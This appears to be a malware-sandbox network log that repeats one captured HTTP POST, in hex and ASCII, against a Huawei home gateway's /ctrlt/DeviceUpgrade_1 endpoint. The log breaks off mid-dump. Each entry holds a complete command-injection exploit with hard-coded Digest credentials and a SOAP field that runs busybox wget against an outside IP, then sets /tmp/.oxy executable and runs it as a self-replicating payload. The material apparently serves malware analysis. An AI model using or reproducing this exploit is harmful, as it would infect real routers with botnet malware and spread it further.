Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 